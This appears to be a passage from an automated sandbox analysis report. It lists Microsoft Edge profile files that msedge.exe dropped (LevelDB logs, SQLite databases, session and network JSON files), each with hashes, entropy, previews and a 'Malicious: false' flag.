SSDEEP:	6:HG+Mi6lL+q2PN723oH+TcwtrQMxIFUt8YG+MgiHz1Zmw+YG+Mu+jLVkwON723oHs:CyvVaYebCFUt88u/+hR5OaYebtJ
MD5:	7F63F484E0DE4730273AFBDB1E649DB0
SHA1:	6352C4F02EE8FF669A09D765D57E6EB564CBB5B4
SHA-256:	0B60F98386494A060F5B0FB7B81B9CA8D54BBF380FF3703B45DF4B5700E12473
SHA-512:	70F31F8D1267B9F7891DBEE073F9FF2C1CDFEBD75A3DFC2CDC297A8F82B8BF6EA92E1E547E5C5E9E79C472B950222724BC36DED1484ED67556BDC91999926556
Malicious:	false
Preview:	2024/11/23-22:20:36.115 11c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/23-22:20:36.117 11c8 Recovering log #3.2024/11/23-22:20:36.119 11c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.101138989358301
Encrypted:	false
SSDEEP:	6:HG+Mi6lL+q2PN723oH+TcwtrQMxIFUt8YG+MgiHz1Zmw+YG+Mu+jLVkwON723oHs:CyvVaYebCFUt88u/+hR5OaYebtJ
MD5:	7F63F484E0DE4730273AFBDB1E649DB0
SHA1:	6352C4F02EE8FF669A09D765D57E6EB564CBB5B4
SHA-256:	0B60F98386494A060F5B0FB7B81B9CA8D54BBF380FF3703B45DF4B5700E12473
SHA-512:	70F31F8D1267B9F7891DBEE073F9FF2C1CDFEBD75A3DFC2CDC297A8F82B8BF6EA92E1E547E5C5E9E79C472B950222724BC36DED1484ED67556BDC91999926556
Malicious:	false
Preview:	2024/11/23-22:20:36.115 11c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/23-22:20:36.117 11c8 Recovering log #3.2024/11/23-22:20:36.119 11c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376892038321249

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8090617027318903
Encrypted:	false
SSDEEP:	24:34GhzAcOP4psAF4unxqtLp3X2amEtG1Chq0lkrfh7QKkOAM4:3WcOP4zF8Lp2FEkChPlkrfhUHOp
MD5:	9F120A6BCEED9C8A87C2B0ECD1B696DC
SHA1:	E1F21B3AB48D557E03F926D07E81C635C9D95C40
SHA-256:	A38FCBB6A6C19E3996023C5212904F922A7082FE34B6E802B6B77E59708328BE
SHA-512:	16EEB60E91F3E3179E41A777DB773260EEAA527BD35B261605070CB7E8DA90ADCB553CA232756471676E7D64F4A4105679A799FD2FE680042F88087F761A12EF
Malicious:	false
Preview:	SNSS..........F..............F......"...F..............F..........F..........F..........F....!.....F..................................F...F1..,......F$...3f1c81c2_4c28_4c79_8d8c_c8301291bf87......F..........F....6.s...........F......F..........................F....................5..0......F&...{46F3A197-DB49-410A-81B3-94975C835573}........F..........F.............................F..............F........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x...........'......'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.148019503724271
Encrypted:	false
SSDEEP:	6:HG+MEN+q2PN723oH+Tcwt7Uh2ghZIFUt8YG+MAqZmw+YG+MAGVkwON723oH+TcwK:qvVaYebIhHh2FUt8z/+p5OaYebIhHLJ
MD5:	CE89B938A0EC0A96841EBFBA3D4E4755
SHA1:	B715CB6052404C2C471F4F84E6361D6A02823E5B
SHA-256:	2511A0CF11B6EACEE9521AE9FC333FB203E8288C32018BD4A78266237131C47E
SHA-512:	C421D7DDF60E8D341821F9D1FD9775D2D6576CE3EF67FC8C58CB0E02D1AA22C68B52DC91EC63FED5784CE97FDE903771F020F898D45220F2D36C89735BA0E476
Malicious:	false
Preview:	2024/11/23-22:20:35.634 1718 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/23-22:20:35.635 1718 Recovering log #3.2024/11/23-22:20:35.635 1718 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.148019503724271
Encrypted:	false
SSDEEP:	6:HG+MEN+q2PN723oH+Tcwt7Uh2ghZIFUt8YG+MAqZmw+YG+MAGVkwON723oH+TcwK:qvVaYebIhHh2FUt8z/+p5OaYebIhHLJ
MD5:	CE89B938A0EC0A96841EBFBA3D4E4755
SHA1:	B715CB6052404C2C471F4F84E6361D6A02823E5B
SHA-256:	2511A0CF11B6EACEE9521AE9FC333FB203E8288C32018BD4A78266237131C47E
SHA-512:	C421D7DDF60E8D341821F9D1FD9775D2D6576CE3EF67FC8C58CB0E02D1AA22C68B52DC91EC63FED5784CE97FDE903771F020F898D45220F2D36C89735BA0E476
Malicious:	false
Preview:	2024/11/23-22:20:35.634 1718 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/23-22:20:35.635 1718 Recovering log #3.2024/11/23-22:20:35.635 1718 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.206302580538369
Encrypted:	false
SSDEEP:	12:NyvVaYebvqBQFUt8nB/+qlR5OaYebvqBvJ:NYVaYebvZg8NlDOaYebvk
MD5:	838369CE8B7754D576444F7AACBED32A
SHA1:	D18F2AC54A529F84F616EFC38934E0BCF8F6122A
SHA-256:	57C640928B0957BCED2A0D37D5C4F5537D74F85261432C7D2BD3E563C21497B7
SHA-512:	5C14D50B7FFF1A8733916308FE745512792CBEE22FBA847FA4C26E9DDDE7F63F3E421162678DC92DCF25E09C65825B3E7A8F2F319980E4485ECD5B65F344EF4F
Malicious:	false
Preview:	2024/11/23-22:20:36.363 11c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/23-22:20:36.384 11c8 Recovering log #3.2024/11/23-22:20:36.392 11c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.206302580538369
Encrypted:	false
SSDEEP:	12:NyvVaYebvqBQFUt8nB/+qlR5OaYebvqBvJ:NYVaYebvZg8NlDOaYebvk
MD5:	838369CE8B7754D576444F7AACBED32A
SHA1:	D18F2AC54A529F84F616EFC38934E0BCF8F6122A
SHA-256:	57C640928B0957BCED2A0D37D5C4F5537D74F85261432C7D2BD3E563C21497B7
SHA-512:	5C14D50B7FFF1A8733916308FE745512792CBEE22FBA847FA4C26E9DDDE7F63F3E421162678DC92DCF25E09C65825B3E7A8F2F319980E4485ECD5B65F344EF4F
Malicious:	false
Preview:	2024/11/23-22:20:36.363 11c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/23-22:20:36.384 11c8 Recovering log #3.2024/11/23-22:20:36.392 11c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\5eabc2ac-50f0-4af8-b877-dfa7c008d08b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\837d2f3f-aab3-4093-aab1-144df7423e58.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF3d8ec.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\be678a04-cc8f-4609-aaa9-f2188a350f64.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\d5f56784-afc8-4052-b62a-5d06d693d69a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.216059034316501
Encrypted:	false
SSDEEP:	12:6xjyvVaYebvqBZFUt81k/+12elR5OaYebvqBaJ:6JYVaYebvyg813HDOaYebvL
MD5:	0C48579424893AB09D7205EA3B621A07
SHA1:	3E5BAEF402D7557BBBA668AB9F262FB8152E6358
SHA-256:	EB023F2FAF4658A70AE1E828213218270673664B6B64DE48909C5D10306AFBEB
SHA-512:	43D37EED9F0DCB839272E6439FF5743B96AE934CA655D70F2F9E09FB61F565CA75565BF91F77093A2826293FB55B09564D93523586522FE2EADFF7BEBEF546BC
Malicious:	false
Preview:	2024/11/23-22:20:53.925 11c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/23-22:20:53.926 11c8 Recovering log #3.2024/11/23-22:20:53.930 11c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	426
Entropy (8bit):	5.216059034316501
Encrypted:	false
SSDEEP:	12:6xjyvVaYebvqBZFUt81k/+12elR5OaYebvqBaJ:6JYVaYebvyg813HDOaYebvL
MD5:	0C48579424893AB09D7205EA3B621A07
SHA1:	3E5BAEF402D7557BBBA668AB9F262FB8152E6358
SHA-256:	EB023F2FAF4658A70AE1E828213218270673664B6B64DE48909C5D10306AFBEB
SHA-512:	43D37EED9F0DCB839272E6439FF5743B96AE934CA655D70F2F9E09FB61F565CA75565BF91F77093A2826293FB55B09564D93523586522FE2EADFF7BEBEF546BC
Malicious:	false
Preview:	2024/11/23-22:20:53.925 11c8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/23-22:20:53.926 11c8 Recovering log #3.2024/11/23-22:20:53.930 11c8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.167795153400768
Encrypted:	false
SSDEEP:	6:HG+MqPVq2PN723oH+TcwtpIFUt8YG+MMvSgZmw+YG+MMvSIkwON723oH+Tcwta/o:9PVvVaYebmFUt8Vg/+VI5OaYebaUJ
MD5:	80C310360AA72BBA49658FEE18123045
SHA1:	B04512E183A79E295F83D2DCB5AF24B533101D3F
SHA-256:	BA234262145E9A5FECD97DD59FAA40B443BE3CD8BF82EC302E9C9B10F3EF6C66
SHA-512:	ED2DFE2B9779102C6DD84AFCF6CE340F96D4A89B9208D81364CF90C384885DAC7686A7690B734F1FC1CF1283866B3228EE85E278A01D9C3A0B40CDD0CF631E55
Malicious:	false
Preview:	2024/11/23-22:20:35.638 1fa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/23-22:20:35.639 1fa0 Recovering log #3.2024/11/23-22:20:35.639 1fa0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.167795153400768
Encrypted:	false
SSDEEP:	6:HG+MqPVq2PN723oH+TcwtpIFUt8YG+MMvSgZmw+YG+MMvSIkwON723oH+Tcwta/o:9PVvVaYebmFUt8Vg/+VI5OaYebaUJ
MD5:	80C310360AA72BBA49658FEE18123045
SHA1:	B04512E183A79E295F83D2DCB5AF24B533101D3F
SHA-256:	BA234262145E9A5FECD97DD59FAA40B443BE3CD8BF82EC302E9C9B10F3EF6C66
SHA-512:	ED2DFE2B9779102C6DD84AFCF6CE340F96D4A89B9208D81364CF90C384885DAC7686A7690B734F1FC1CF1283866B3228EE85E278A01D9C3A0B40CDD0CF631E55
Malicious:	false
Preview:	2024/11/23-22:20:35.638 1fa0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/23-22:20:35.639 1fa0 Recovering log #3.2024/11/23-22:20:35.639 1fa0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2673982075458061
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkM4SA1LyKOMq+8iP5GDHP/0jMVumDt:Kq+n0J491LyKOMq+8iP5GLP/0st
MD5:	B00BF042E4E48B587C85550A0D136549
SHA1:	DE5492BB83973F874CE9B78BF1BEAC8ED23C08D6
SHA-256:	211DA5361441659D6217F2707BA27F02582BFD955376660B3A7BE85D466C3131
SHA-512:	9ED489A605518DCBE74409D1BD6193A55F44C900606BBFA2F698D19DD5BC6E139D43406C48885B38545322579222E9DFC221F4963909F19DA03E49D3E6B350C6
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.4659701242531851
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB08KE:v7doKsKuKZKlZNmu46yjx0a
MD5:	006DC2F486C209C891D76F464A862E79
SHA1:	F15E63E05CB6E4E0AECBA6590CA5EFD78F056F62
SHA-256:	02FAD42E695C8960AAC927A28006FDFCE77CE21E3EFED87365C7750AE080908F
SHA-512:	E131CFD5408581978F68CB92E0C175C27103E9929D1574522E40407F463DF160368BAC90135093AA35005DF387C5D4D185A16F70CC91FF4673891E79A023A1D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\a0b22b6f-0771-4e84-b5f9-f98df829b4f2.tmp

Download File

